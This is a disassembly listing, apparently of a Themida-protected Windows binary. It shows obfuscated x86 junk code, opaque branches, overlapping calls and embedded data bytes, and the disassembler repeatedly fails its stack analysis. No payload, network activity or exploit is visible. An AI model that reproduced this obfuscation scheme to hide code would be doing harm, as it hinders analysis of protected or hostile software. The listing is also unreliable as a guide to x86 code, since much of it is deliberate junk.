; ---------------------------------------------------------------------------
db 0E1h
; =============== S U B R O U T I N E =======================================
sub_601F76 proc near ; CODE XREF: Themida_:00601F69p
mov bl, 12h
pop edi
jmp loc_601F86
; ---------------------------------------------------------------------------
xchg ebp, [ebx+78h]
cmc
dec eax
pop ebp
db 3Eh
movs dword ptr es:[edi], dword ptr ds:[esi]
loc_601F86: ; CODE XREF: sub_601F76+3j
pusha
call sub_601F9B
mov dh, 36h
mov ebx, 0F179C8D8h
setalc
pop edi
inc esp
pop ebp
add bl, ch
mov cl, 69h
sub_601F76 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_601F9B proc near ; CODE XREF: sub_601F76+11p
jmp sub_601FAA
sub_601F9B endp
; ---------------------------------------------------------------------------
mov dword ptr [edx], 0E6F253C8h
push ebx
push eax
pop esp
push edi
; =============== S U B R O U T I N E =======================================
sub_601FAA proc near ; CODE XREF: sub_601F9Bj
pop ebx
movsx eax, ax
popa
sub di, 0D870h
mov ah, cl
and bh, 0D2h
mov dx, 5A7Ch
mov ax, dx
movzx ecx, bx
adc cx, 0CCB0h
call near ptr sub_601FDB
sub eax, 6B94A612h
pop ss
fcomp st(6)
adc [esi-67h], dl
or eax, [ecx]
xchg eax, ebx
sub_601FAA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_601FDB proc far ; CODE XREF: sub_601FAA+1Ep
push esi
mov si, 0ACDBh
pop edx
pop eax
push ebx
pusha
jp $+6
adc dl, 74h
popa
pop ecx
mov eax, ecx
jmp loc_60200A
; ---------------------------------------------------------------------------
fadd qword ptr [esi-360CCC4Eh]
cmp al, bl
lahf
pop dword ptr [edx+272C6AF5h]
popa
lodsb
mov bh, 0E8h
dec edx
loc_60200A: ; CODE XREF: sub_601FDB+16j
xor esi, 2CAE57B3h
or ch, 62h
jmp loc_602025
; ---------------------------------------------------------------------------
jnp short loc_602037
inc esi
retf 0ECBAh
; ---------------------------------------------------------------------------
dw 4B89h
dd 0F5E0E37Eh
db 0C0h
; ---------------------------------------------------------------------------
loc_602025: ; CODE XREF: sub_601FDB+38j
xor ebx, 4A5BEA56h
jz loc_602033
mov ch, 87h
loc_602033: ; CODE XREF: sub_601FDB+50j
clc
mov ax, di
loc_602037: ; CODE XREF: sub_601FDB+3Dj
pusha
mov esi, eax
cmc
popa
and di, 0D50Bh
mov dx, 8BC5h
mov bx, 35EBh
movsx esi, dx
and edi, 2793DDDBh
jmp loc_602067
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
mov edx, 1C3F3210h
sub al, 51h
dec ebp
db 67h
and ecx, 7D888DD0h
loc_602067: ; CODE XREF: sub_601FDB+77j
sbb cl, 98h
adc edx, 4278C3ADh
push eax
mov edx, 638D45F1h
pop esi
jmp loc_602087
; ---------------------------------------------------------------------------
retn 6C7Dh
; ---------------------------------------------------------------------------
db 48h
dd 7243AA2Ah
db 47h, 0ABh, 21h
; ---------------------------------------------------------------------------
loc_602087: ; CODE XREF: sub_601FDB+9Cj
pusha
push esi
movsx eax, ax
pop esi
pusha
jo $+6
mov ah, bl
popa
popa
adc ax, 0BB7Dh
movsx eax, dx
cld
add dx, 0CC7Ch
push ebx
pop ebx
mov ah, 5Fh
jmp loc_6020BE
; ---------------------------------------------------------------------------
db 0E3h
dd 0FF54839Ch, 0C715D734h, 63380AB2h
db 44h, 11h
; ---------------------------------------------------------------------------
loc_6020BE: ; CODE XREF: sub_601FDB+CFj
push ebx
mov bl, 0Ah
pop edx
loc_6020C2: ; CODE XREF: sub_601FDB+124j
clc
pusha
push edx
mov edi, 1A18EA8h
pop eax
popa
sub bl, 0C8h
mov edx, ebx
mov ebx, edx
jmp loc_6020EC
; ---------------------------------------------------------------------------
dd 6071BDD6h, 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 3B49B763h
; ---------------------------------------------------------------------------
loc_6020EC: ; CODE XREF: sub_601FDB+F8j
movzx ebx, bx
mov ah, cl
pusha
call near ptr loc_602106+1
mov edi, [eax-33B34A94h]
out 17h, eax
js short loc_6020C2
mov ah, 50h
aaa
fxch7 st(5)
loc_602106: ; CODE XREF: sub_601FDB+117p
mov byte ptr [ecx-3F4E4818h], 78h
sub_601FDB endp ; sp-analysis failed
pop eax
jl loc_602116
push esi
pop edx
loc_602116: ; CODE XREF: Themida_:0060210Ej
popa
jmp loc_602123
; ---------------------------------------------------------------------------
lodsd
pop ds
cmp eax, 0B9903ECEh
loc_602123: ; CODE XREF: Themida_:00602117j
mov cx, 6B80h
sub ax, 38Dh
jmp loc_602142
; ---------------------------------------------------------------------------
db 16h, 66h, 49h
dd 59A42E84h, 7AC70D40h, 0E80D1360h
db 0C0h, 94h
; ---------------------------------------------------------------------------
loc_602142: ; CODE XREF: Themida_:0060212Cj
mov ax, cx
ja loc_602156
jno loc_602156
mov edx, 3206C4FCh
loc_602156: ; CODE XREF: Themida_:00602145j
; Themida_:0060214Bj
jmp loc_60216D
; ---------------------------------------------------------------------------
db 0FDh
dd 3C0489CFh, 9F6178B7h, 434371DEh, 9FB1BB15h
db 2Eh
; ---------------------------------------------------------------------------
loc_60216D: ; CODE XREF: Themida_:loc_602156j
movzx ebx, di
mov ax, bx
or bl, 28h
mov dh, al
jbe loc_602181
movzx edx, bx
loc_602181: ; CODE XREF: Themida_:00602178j
jmp loc_60218C
; ---------------------------------------------------------------------------
or [eax+5Ch], esi
pop es
pushf
loc_60218C: ; CODE XREF: Themida_:loc_602181j
mov di, si
mov esi, 6F09214Ch
or dx, 0FDD5h
pusha
clc
mov cx, bx
popa
mov di, dx
xor si, 7C3Fh
pusha
adc esi, 51E24241h
popa
mov esi, 3AADA6D1h
mov si, di
jg $+6
add ax, 7DAh
xor di, 0C3A5h
jbe loc_6021D0
add ah, 0CFh
loc_6021D0: ; CODE XREF: Themida_:006021C7j
jmp loc_6021DB
; ---------------------------------------------------------------------------
db 0F2h, 6Ch, 0B7h
db 28h, 80h, 0EDh
; ---------------------------------------------------------------------------
loc_6021DB: ; CODE XREF: Themida_:loc_6021D0j
mov ebx, 6D6A4EDAh
mov cl, bh
jmp loc_6021F1
; ---------------------------------------------------------------------------
db 94h
dd 56BDED60h, 85BD42ACh
db 0E0h
; ---------------------------------------------------------------------------
loc_6021F1: ; CODE XREF: Themida_:006021E2j
mov di, 8D59h
sub eax, 0BBDBF4Bh
mov ax, 99AEh
mov si, 8DDCh
sub di, 0A94Eh
stc
mov bl, al
stc
mov ax, 0B756h
pusha
mov si, 415Eh
clc
popa
pusha
mov dh, 37h
mov di, 0F26Ah
popa
mov edx, esi
ja loc_60222A
mov di, dx
loc_60222A: ; CODE XREF: Themida_:00602221j
mov dh, 78h
mov ax, si
push esi
or ebx, 0EAEFE69h
pop edi
pusha
pusha
adc esi, 72925016h
popa
jmp loc_60224D
; ---------------------------------------------------------------------------
db 0A1h, 0F9h, 59h
dd 210F2B43h
db 0A3h
; ---------------------------------------------------------------------------
loc_60224D: ; CODE XREF: Themida_:00602240j
popa
jnp loc_602259
mov ebx, 1818DD21h
loc_602259: ; CODE XREF: Themida_:0060224Ej
mov di, ax
jmp loc_602268
; ---------------------------------------------------------------------------
db 0D4h, 1Eh, 0D3h
dd 5425BC19h
; ---------------------------------------------------------------------------
loc_602268: ; CODE XREF: Themida_:0060225Cj
mov al, 1Dh
pusha
mov ecx, 7E7D49A8h
mov ah, 68h
popa
mov bh, 0CAh
mov bx, dx
jmp loc_60228B
; ---------------------------------------------------------------------------
db 73h, 59h, 0F5h
dd 20E41E7Fh, 0A0122F32h
db 62h, 0DCh, 0BBh
; ---------------------------------------------------------------------------
loc_60228B: ; CODE XREF: Themida_:00602278j
pusha
sbb ebx, 735B381Dh
mov edi, ebx
popa
jmp loc_6022A4
; ---------------------------------------------------------------------------
dw 54AAh
dd 4EDAB044h, 45873DAEh
; ---------------------------------------------------------------------------
loc_6022A4: ; CODE XREF: Themida_:00602295j
mov ecx, edi
mov cl, al
mov cx, si
mov edx, ebx
pusha
movzx esi, bx
mov eax, 761D2CDDh
popa
add bx, 0C70Bh
sbb dx, 8CCCh
mov bx, di
push edx
mov edi, 4F1FA165h
pop eax
or dh, 0B8h
sbb esi, 7C2C57F6h
jmp loc_6022E1
; ---------------------------------------------------------------------------
db 19h, 0FCh, 0Ch
; ---------------------------------------------------------------------------
retn 92ABh
; ---------------------------------------------------------------------------
db 93h
db 75h
; ---------------------------------------------------------------------------
loc_6022E1: ; CODE XREF: Themida_:006022D4j
jo loc_6022E9
mov ebx, eax
loc_6022E9: ; CODE XREF: Themida_:loc_6022E1j
jnz $+6
sbb ecx, 4DE895EDh
mov di, 1262h
clc
jb loc_602303
adc cl, 1Ah
loc_602303: ; CODE XREF: Themida_:006022FAj
push edi
pop eax
or ecx, 2100F254h
movsx ebx, bx
jo loc_60232F
call near ptr loc_602326+4
sub eax, 24612F97h
fist dword ptr [edx+2C2414E3h]
sbb [edi], esp
loc_602326: ; CODE XREF: Themida_:00602314p
les edx, [edi-46995C84h]
aas
mov dl, 5Eh
loc_60232F: ; CODE XREF: Themida_:0060230Ej
call sub_60233A
or ebx, 1D8558C7h
; =============== S U B R O U T I N E =======================================
sub_60233A proc near ; CODE XREF: Themida_:loc_60232Fp
sbb ebx, 2BCDB2BDh
pop eax
xor ecx, 5660181Ch
jp loc_602353
jns $+6
loc_602353: ; CODE XREF: sub_60233A+Dj
mov cx, di
and ebx, 58F4C683h
mov bx, 83F7h
movzx esi, bx
jno loc_60236F
xor ebx, 72545E2Eh
loc_60236F: ; CODE XREF: sub_60233A+29j
push ebx
jnz loc_602378
push ebx
pop edi
loc_602378: ; CODE XREF: sub_60233A+36j
pop ebx
call sub_602391
test dword ptr [ebx+0D59DB01h], 522869C6h
sti
lea edx, [ecx-4FAE265Bh]
add edx, ecx
sub_60233A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602391 proc near ; CODE XREF: sub_60233A+3Fp
push esi
pusha
popa
pop ebx
pop edi
jnz loc_60239F
mov si, bx
loc_60239F: ; CODE XREF: sub_602391+5j
movsx eax, cx
movsx eax, bx
mov esi, 61D155B6h
push eax
jmp loc_6023B6
; ---------------------------------------------------------------------------
sub ch, [ecx+24h]
and edi, ebx
pop esp
loc_6023B6: ; CODE XREF: sub_602391+1Aj
pop esi
jl loc_6023C8
pusha
sub cl, 0F7h
adc edx, 5CA46BFCh
popa
loc_6023C8: ; CODE XREF: sub_602391+26j
push ebx
adc si, 53B4h
pop ecx
jmp loc_6023E4
; ---------------------------------------------------------------------------
dd 51E3E5ABh, 0C3991E9Ah, 835240D8h, 462EB6F2h
; ---------------------------------------------------------------------------
loc_6023E4: ; CODE XREF: sub_602391+3Ej
mov ecx, 4D6C0DBCh
jmp loc_602401
; ---------------------------------------------------------------------------
dw 20CFh
dd 0ABB7E5F7h, 7760BE31h, 5DDE5354h, 0CA1999E4h
db 83h
; ---------------------------------------------------------------------------
loc_602401: ; CODE XREF: sub_602391+58j
jl loc_60240D
sub ecx, 634B5FE7h
loc_60240D: ; CODE XREF: sub_602391:loc_602401j
or dx, 7029h
movzx esi, ax
cmc
adc edi, 52AC0418h
mov cx, di
jmp loc_60242D
; ---------------------------------------------------------------------------
dd 0BB2CE69h, 9722FA60h
; ---------------------------------------------------------------------------
pop edx
loc_60242D: ; CODE XREF: sub_602391+8Ej
and ax, 0E3ECh
mov edx, eax
call near ptr loc_60243D+1
cmpsd
repne mov dl, 7
loc_60243D: ; CODE XREF: sub_602391+A3p
adc byte ptr [eax-75h], 0F9h
sub_602391 endp ; sp-analysis failed
pop ebx
pop eax
movzx ebx, dx
clc
jl $+6
jno loc_602458
mov edi, 796799E3h
loc_602458: ; CODE XREF: Themida_:0060244Dj
mov di, 28E0h
push edi
mov bl, 0Eh
pop esi
mov dh, 0D1h
clc
mov ebx, 9B95123h
jge loc_602474
add edi, 3A7CFCBDh
loc_602474: ; CODE XREF: Themida_:00602468j
push edi
jz loc_60247D
mov edx, ecx
loc_60247D: ; CODE XREF: Themida_:00602475j
pop esi
mov eax, 4F852752h
and di, 7D02h
sbb esi, 3ED9BE5Bh
or di, 0EEF3h
mov bl, dl
pusha
mov edx, ecx
call near ptr loc_6024A5+3
mov edi, 7D0BBEEh
jo short loc_6024C0
outsd
loc_6024A5: ; CODE XREF: Themida_:00602498p
xor eax, 8E9887Bh
; ---------------------------------------------------------------------------
dw 0
dd 0EA17D900h, 50579785h, 0B6615AB0h, 0F0BF0FE6h, 0BF0FFCF5h
; ---------------------------------------------------------------------------
loc_6024C0: ; CODE XREF: Themida_:006024A2j
shr eax, 1
or al, 0
; ---------------------------------------------------------------------------
dd 1B3F0000h, 6D178251h, 98A30569h, 860F4F08h, 4, 0D136B866h
dd 0FF88B5Ah, 8A0FF2B7h, 0
; ---------------------------------------------------------------------------
movsx esi, si
jnb $+6
push edx
mov cl, ah
pop edx
jnz loc_6024FD
mov bl, dl
loc_6024FD: ; CODE XREF: Themida_:006024F5j
clc
jnz loc_602513
call sub_60250F
fdivrp st(3), st
or bh, bh
sub dh, bh
; =============== S U B R O U T I N E =======================================
sub_60250F proc near ; CODE XREF: Themida_:00602504p
or ah, 0DEh
pop esi
loc_602513: ; CODE XREF: Themida_:006024FEj
mov eax, 39E7BFFAh
mov di, 811Bh
jmp loc_602526
; ---------------------------------------------------------------------------
cmp bl, [ecx+ebx]
ja short loc_60256D
loc_602526: ; CODE XREF: sub_60250F+Dj
push edi
add bx, 0C606h
pop ebx
mov edi, 558AA537h
mov ebx, ecx
xor di, 0CE53h
jmp loc_602550
; ---------------------------------------------------------------------------
dw 0B11h
dd 9F0A93F9h, 971191C1h, 0DB03B003h, 1C626023h
; ---------------------------------------------------------------------------
loc_602550: ; CODE XREF: sub_60250F+2Aj
jo loc_602557
stc
loc_602557: ; CODE XREF: sub_60250F:loc_602550j
movsx esi, si
sub cx, 34C1h
mov edx, 1C01A0ECh
mov edi, 10DE791Dh
mov di, cx
push ebx
loc_60256D: ; CODE XREF: sub_60250F+15j
mov di, bx
pop ebx
xor edx, 7DECACE2h
jnb loc_602583
push edi
mov ax, 1275h
pop ebx
loc_602583: ; CODE XREF: sub_60250F+68j
jmp loc_60259B
; ---------------------------------------------------------------------------
dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah
; ---------------------------------------------------------------------------
xchg eax, ecx
jecxz short loc_6025F8
loc_60259B: ; CODE XREF: sub_60250F:loc_602583j
mov dh, 0B4h
push edi
mov cx, 0B48Bh
pop edx
jmp loc_6025AD
; ---------------------------------------------------------------------------
dd 0A527F096h
; ---------------------------------------------------------------------------
lahf
loc_6025AD: ; CODE XREF: sub_60250F+94j
mov bl, al
call sub_6025C0
dec edi
and eax, 0A87921C5h
adc al, 6Bh
xchg eax, edi
in eax, dx
fcmovu st, st(1)
sub_60250F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6025C0 proc near ; CODE XREF: sub_60250F+A0p
mov si, 0CD1Eh
pop edi
jl loc_6025D0
or dx, 1758h
loc_6025D0: ; CODE XREF: sub_6025C0+5j
ja loc_6025DC
adc edx, 1358FA3Bh
loc_6025DC: ; CODE XREF: sub_6025C0:loc_6025D0j
sub bh, 69h
mov edi, 4BAF4FEBh
sub dx, 9222h
adc edx, 76D0472h
jmp loc_602603
; ---------------------------------------------------------------------------
dd 62DEDE62h
; ---------------------------------------------------------------------------
loc_6025F8: ; CODE XREF: sub_60250F+8Aj
cli
lodsb
db 66h
mov bh, 0F2h
and bl, [edi]
pop eax
in eax, dx
movsd
insd
loc_602603: ; CODE XREF: sub_6025C0+2Fj
push ebx
movzx esi, di
pop eax
call sub_602621
pop ebp
fcomi st, st(5)
leave
pop edx
push cs
push edi
icebp
inc esp
jmp dword ptr [eax+ebx*8-63E8D495h]
sub_6025C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0B7h, 58h, 15h
; ---------------------------------------------------------------------------
inc edx
; =============== S U B R O U T I N E =======================================
sub_602621 proc near ; CODE XREF: sub_6025C0+48p
pusha
sub dx, 0B16Fh
popa
pop ecx
jmp loc_602642
; ---------------------------------------------------------------------------
dw 56D7h
dd 0CBD97FE6h, 0C220147Fh, 33D997F7h, 6BDA6740h
; ---------------------------------------------------------------------------
lodsd
dec esi
loc_602642: ; CODE XREF: sub_602621+8j
mov dx, ax
mov ax, si
push ecx
and dl, 66h
pop edi
jl loc_602657
pusha
mov bh, al
popa
loc_602657: ; CODE XREF: sub_602621+2Cj
push ebx
or ebx, 412A780Dh
pop edx
jmp loc_602670
; ---------------------------------------------------------------------------
imul ebx, [edi], 8F8BE019h
mov esi, 0E8EF42B6h
xchg eax, edx
loc_602670: ; CODE XREF: sub_602621+3Ej
call sub_60267E
cld
cdq
inc ecx
cmp al, bl
xor edx, [edx]
jl short loc_6026EA
sub_602621 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60267E proc near ; CODE XREF: sub_602621:loc_602670p
cld
pop edi
stc
mov bh, al
movsx eax, ax
pusha
jmp loc_60269F
; ---------------------------------------------------------------------------
dd 33850E78h, 2ECA724Ch, 15BC6912h, 0FE74EFDEh
; ---------------------------------------------------------------------------
movsb
sub esi, esi
loc_60269F: ; CODE XREF: sub_60267E+9j
popa
cld
push ebx
add esi, 5F5E0E6h
pop eax
mov eax, edi
cld
mov ax, bx
pusha
mov ecx, ebx
mov di, cx
popa
add ecx, 36F1D8E2h
cld
or al, 3Eh
mov dx, 454Dh
movzx edx, ax
jmp loc_6026D2
; ---------------------------------------------------------------------------
dd 0EE801345h
; ---------------------------------------------------------------------------
neg cl
loc_6026D2: ; CODE XREF: sub_60267E+49j
cld
mov edx, 1746AE40h
movsx ebx, bx
push ebx
ja loc_6026E4
push ecx
pop edi
loc_6026E4: ; CODE XREF: sub_60267E+5Ej
pop edx
jmp loc_6026EF
; ---------------------------------------------------------------------------
loc_6026EA: ; CODE XREF: sub_602621+5Bj
cmc
xor byte ptr [eax-41h], 98h
loc_6026EF: ; CODE XREF: sub_60267E+67j
jmp loc_602704
; ---------------------------------------------------------------------------
dd 75C6A106h, 21A02705h, 0FC1AAC0Eh, 6FE2FC07h
; ---------------------------------------------------------------------------
loc_602704: ; CODE XREF: sub_60267E:loc_6026EFj
movzx edi, bx
cld
pusha
mov ax, 2F54h
mov di, 0F446h
popa
mov dx, 53AFh
push eax
movzx edi, cx
pop edx
sbb edi, 43C59370h
mov ecx, edx
jp loc_602731
push edi
jnp $+6
pop edi
loc_602731: ; CODE XREF: sub_60267E+A5j
push esi
stc
pop ecx
mov eax, 3DCD4BBCh
push eax
call sub_602746
sal byte ptr [ecx+edx*2+484ECC85h], 1
sub_60267E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602746 proc near ; CODE XREF: sub_60267E+BCp
js $+6
pop eax
pop edi
jg loc_602768
jbe loc_602768
jmp loc_602768
; ---------------------------------------------------------------------------
db 0FBh
dd 65AFC47Fh, 2E251E8Eh
; ---------------------------------------------------------------------------
loc_602768: ; CODE XREF: sub_602746+8j
; sub_602746+Ej ...
mov ax, 2142h
call sub_602779
inc esi
and ah, al
db 2Eh
in al, 30h
or [edi], dl
sub_602746 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602779 proc near ; CODE XREF: sub_602746+26p
jg loc_602781
mov cl, ah
loc_602781: ; CODE XREF: sub_602779j
pop ecx
jl loc_60278A
mov al, 0AEh
loc_60278A: ; CODE XREF: sub_602779+9j
and ebx, 358D6FAAh
cld
mov di, ax
and ax, 5C6Dh
mov ecx, 0E7FF386h
jg loc_6027AA
sbb edx, 0E0F8B92h
loc_6027AA: ; CODE XREF: sub_602779+25j
and bl, 32h
mov bx, cx
mov si, ax
sub cx, 0B744h
pusha
mov ebx, 4331B1F1h
jb $+6
popa
jnp loc_6027D9
pusha
jge $+6
jb $+6
popa
loc_6027D9: ; CODE XREF: sub_602779+4Cj
add bh, 0B7h
call sub_6027F0
mov ecx, edi
xor [esi+ebx*2], ebx
sub dh, 60h
inc edi
sub edi, esp
push 0FFFFFFE6h
pop ebx
aaa
sub_602779 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6027F0 proc near ; CODE XREF: sub_602779+63p
pusha
mov cx, ax
pusha
popa
popa
pop edx
jmp loc_602804
; ---------------------------------------------------------------------------
db 42h, 0E3h, 44h
dd 24C61E91h
; ---------------------------------------------------------------------------
loc_602804: ; CODE XREF: sub_6027F0+8j
mov eax, 69EAF930h
movzx ebx, di
push esi
adc ax, 0DB99h
pop edi
or si, 6E34h
sub ecx, 7334F31Ch
adc edi, 520D1F0Dh
cmc
movsx edi, di
mov ecx, 2DD8B5E2h
clc
js loc_60284B
jmp loc_60284B
; ---------------------------------------------------------------------------
aas
or dword ptr [ecx-42E82D0Ah], 0AE039548h
fadd dword ptr [ebp-4Ch]
xor al, 4Ah
add dl, ah
loc_60284B: ; CODE XREF: sub_6027F0+3Ej
; sub_6027F0+44j
jmp loc_60285E
; ---------------------------------------------------------------------------
dd 0B4969CE8h, 0A9C8284Fh, 0DC7CE203h
db 8Dh, 5Ch
; ---------------------------------------------------------------------------
loc_60285E: ; CODE XREF: sub_6027F0:loc_60284Bj
mov edx, 1EF660Eh
mov bl, 21h
jnp loc_60286E
movzx ecx, di
loc_60286E: ; CODE XREF: sub_6027F0+75j
mov esi, ecx
sub ch, 7Dh
jnp loc_60287C
movzx edx, bx
loc_60287C: ; CODE XREF: sub_6027F0+83j
mov ecx, edi
sub ax, 9A34h
mov ebx, 34245F6Dh
mov cl, 0A0h
push eax
cmc
pop edx
jno loc_602898
mov eax, 1BCE5231h
loc_602898: ; CODE XREF: sub_6027F0+9Dj
jmp loc_6028AF
; ---------------------------------------------------------------------------
jz short loc_6028C3
or al, 6Ah
pop ebp
cwde
mov dl, 0E5h
add al, 88h
dec edx
push ds
leave
cmp eax, 19721548h
loc_6028AF: ; CODE XREF: sub_6027F0:loc_602898j
movzx edi, ax
mov edi, 1F9D4EA6h
pusha
push esi
stc
pop esi
jp $+6
popa
cld
loc_6028C3: ; CODE XREF: sub_6027F0+ADj
mov edx, edi
sbb ah, 0ECh
sbb bx, 9D9Ch
mov ebx, edx
movsx esi, cx
cmc
jp loc_6028DC
sub dl, 88h
loc_6028DC: ; CODE XREF: sub_6027F0+E3j
jno loc_6028E8
and esi, 1304C2A5h
loc_6028E8: ; CODE XREF: sub_6027F0:loc_6028DCj
sbb bx, 0CE2Dh
jmp loc_602902
; ---------------------------------------------------------------------------
dw 6E09h
dd 8A1FC4EFh, 78CE0FB2h, 8663F27Eh
db 0CFh, 18h
; ---------------------------------------------------------------------------
loc_602902: ; CODE XREF: sub_6027F0+FDj
pusha
add si, 0A7CEh
popa
mov ax, cx
movzx esi, dx
call near ptr loc_602921+1
adc [ebx-39D364EAh], bl
sub bh, [eax+1Ah]
xor [esi], ch
cwde
lodsd
loc_602921: ; CODE XREF: sub_6027F0+11Fp
lea eax, [ecx+54C10FEAh]
sub_6027F0 endp ; sp-analysis failed
sbb [edi-76h], bl
rep jmp loc_60293A
; ---------------------------------------------------------------------------
dd 96EDDBB5h, 0CDE301FBh
db 82h, 0BBh
; ---------------------------------------------------------------------------
loc_60293A: ; CODE XREF: Themida_:0060292Aj
pusha
mov si, bx
jnp loc_60295B
jmp loc_60295B
; ---------------------------------------------------------------------------
db 0F2h, 0, 4
dd 3AABEAC5h, 0BE44AAB5h, 0AF50FC9Dh
db 71h, 0C2h, 5Eh
; ---------------------------------------------------------------------------
loc_60295B: ; CODE XREF: Themida_:0060293Ej
; Themida_:00602944j
popa
mov bx, dx
jmp loc_60296E
; ---------------------------------------------------------------------------
dd 0B85B71C6h, 93A0E9DCh
db 83h, 0BDh
; ---------------------------------------------------------------------------
loc_60296E: ; CODE XREF: Themida_:0060295Fj
jmp loc_602979
; ---------------------------------------------------------------------------
db 0Fh
dd 59915907h
db 2Bh
; ---------------------------------------------------------------------------
loc_602979: ; CODE XREF: Themida_:loc_60296Ej
jl loc_602981
mov cl, 8Dh
loc_602981: ; CODE XREF: Themida_:loc_602979j
mov ebx, eax
mov esi, 33E9838Ch
jg $+6
jmp loc_6029A2
; ---------------------------------------------------------------------------
db 3Ch
dd 0C05149ADh, 0E7433527h, 0C8EEFA94h
db 0BFh, 60h
; ---------------------------------------------------------------------------
loc_6029A2: ; CODE XREF: Themida_:0060298Ej
mov esi, ebx
call sub_6029B8
or ecx, [eax]
call near ptr 7E0EB7E5h
and [ebp-393CA055h], dl
mov bh, 0D2h
; =============== S U B R O U T I N E =======================================
sub_6029B8 proc near ; CODE XREF: Themida_:006029A4p
sbb cx, 5E86h
pop ecx
mov ax, 0F7C8h
sub dl, 0B7h
mov dx, 88C4h
jnp loc_6029DB
ja loc_6029DB
adc eax, 125120D2h
loc_6029DB: ; CODE XREF: sub_6029B8+11j
; sub_6029B8+17j
mov ebx, ecx
jmp loc_6029ED
; ---------------------------------------------------------------------------
dw 0DB6Ch
dd 0CA28B11Ah, 0AE1985CCh
; ---------------------------------------------------------------------------
xchg eax, esi
loc_6029ED: ; CODE XREF: sub_6029B8+25j
sub dl, 37h
mov di, bx
add esi, 4B083940h
mov si, 0B001h
movsx eax, di
call loc_602A14
neg edi
loc_602A07: ; CODE XREF: sub_602A68+1Bj
lea ebp, [ebp-4CA41D90h]
cwde
cmp [ecx+41320ACCh], al
sub_6029B8 endp ; sp-analysis failed
loc_602A14: ; CODE XREF: sub_6029B8+48p
; Themida_:00602A62j
jmp loc_602A2C
; ---------------------------------------------------------------------------
db 3, 79h, 0AAh
dd 40F03970h, 3DA402FAh, 5184AA75h, 17834D35h
; ---------------------------------------------------------------------------
loc_602A2C: ; CODE XREF: Themida_:loc_602A14j
pop edx
adc bx, 1F74h
pusha
and si, 0EEC0h
mov ecx, 7A45E55Ah
popa
mov esi, ebx
mov si, dx
jmp loc_602A51
; ---------------------------------------------------------------------------
dd 3E89D9EDh, 0EDDDC639h
; ---------------------------------------------------------------------------
pop eax
loc_602A51: ; CODE XREF: Themida_:00602A43j
mov edi, ecx
call sub_602A68
in al, dx
clc
scasb
inc edi
pop ss
fsub dword ptr [eax]
sub al, 55h
ja short near ptr loc_602A14+3
hlt
; ---------------------------------------------------------------------------
db 2Dh, 2 dup(0BFh)
; =============== S U B R O U T I N E =======================================
sub_602A68 proc near ; CODE XREF: Themida_:00602A53p
jz loc_602A72
mov di, 9F9Dh
loc_602A72: ; CODE XREF: sub_602A68j
pop ebx
jmp loc_602A8B
; ---------------------------------------------------------------------------
pop ebp
inc esp
pop ebx
lea esi, [ecx-30h]
mov ebp, 0C9000D9Bh
jg short loc_602A07
test [edi], edi
dec ecx
mov bl, 86h
lahf
loc_602A8B: ; CODE XREF: sub_602A68+Bj
movsx ecx, dx
call sub_602AA2
sbb [ebp-4Eh], edx
pusha
fld tbyte ptr [esi+29h]
sub [edx], dl
xchg eax, ebx
cmc
jno short near ptr loc_602AC6+2
mov dl, ch
sub_602A68 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602AA2 proc near ; CODE XREF: sub_602A68+26p
sbb ecx, 3D13F799h
pop eax
mov eax, edi
jmp loc_602ABB
; ---------------------------------------------------------------------------
dd 0A58CE38Ah, 99A10396h
db 0FCh, 2 dup(8Ch)
; ---------------------------------------------------------------------------
loc_602ABB: ; CODE XREF: sub_602AA2+9j
and edx, 6BCC1BF5h
or cx, 62BCh
loc_602AC6: ; CODE XREF: sub_602A68+36j
jnb loc_602AD8
jnz loc_602AD8
sbb edi, 5EAE4746h
loc_602AD8: ; CODE XREF: sub_602AA2:loc_602AC6j
; sub_602AA2+2Aj
jnp loc_602AE1
movsx edi, dx
loc_602AE1: ; CODE XREF: sub_602AA2:loc_602AD8j
call near ptr loc_602AEF+4
movsd
fisub dword ptr [ecx+2D3CFA52h]
pop ss
push ds
loc_602AEF: ; CODE XREF: sub_602AA2:loc_602AE1p
mov word ptr [esi+666041A4h], ss
sub_602AA2 endp ; sp-analysis failed
mov edx, ebx
mov cx, bx
popa
pop ebx
mov cl, 29h
mov si, 0F1BEh
movzx ebx, bx
mov dh, 2Fh
sbb esi, 5E67B5C8h
push ecx
jmp loc_602B24
; ---------------------------------------------------------------------------
db 51h
dd 0A0298CDh, 0D2AD27E8h, 7E00AC7Ch, 473B42CAh
; ---------------------------------------------------------------------------
loc_602B24: ; CODE XREF: Themida_:00602B0Ej
pop ebx
jmp loc_602B3C
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0F3h
dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h
; ---------------------------------------------------------------------------
loc_602B3C: ; CODE XREF: Themida_:00602B25j
mov ax, 8556h
and di, 0A748h
mov esi, 0D45AA39h
mov edx, ebx
or di, 3435h
push edx
add esi, 6FF34E34h
pop edi
mov ax, 0B584h
clc
movsx ebx, si
push ebx
mov esi, 13A39F58h
pop ecx
or edi, 39BC6A96h
jl $+6
jno loc_602B99
call sub_602B92
mov edx, 594F4BC8h
dec ecx
inc ebp
stosd
das
mov ch, 0Dh
jmp far ptr 0EF67h:3BA2E123h
; ---------------------------------------------------------------------------
db 0C7h
; =============== S U B R O U T I N E =======================================
sub_602B92 proc near ; CODE XREF: Themida_:00602B7Ap
jo $+6
pop ebx
loc_602B99: ; CODE XREF: Themida_:00602B74j
adc dh, 7Dh
sub cl, 0F1h
movsx ebx, di
call sub_602BB0
mov ds:3FA352A0h, al
inc edi
outsb
ffree st(5)
sub_602B92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602BB0 proc near ; CODE XREF: sub_602B92+10p
pusha
and edx, 502AB9CFh
mov edx, edi
popa
pop esi
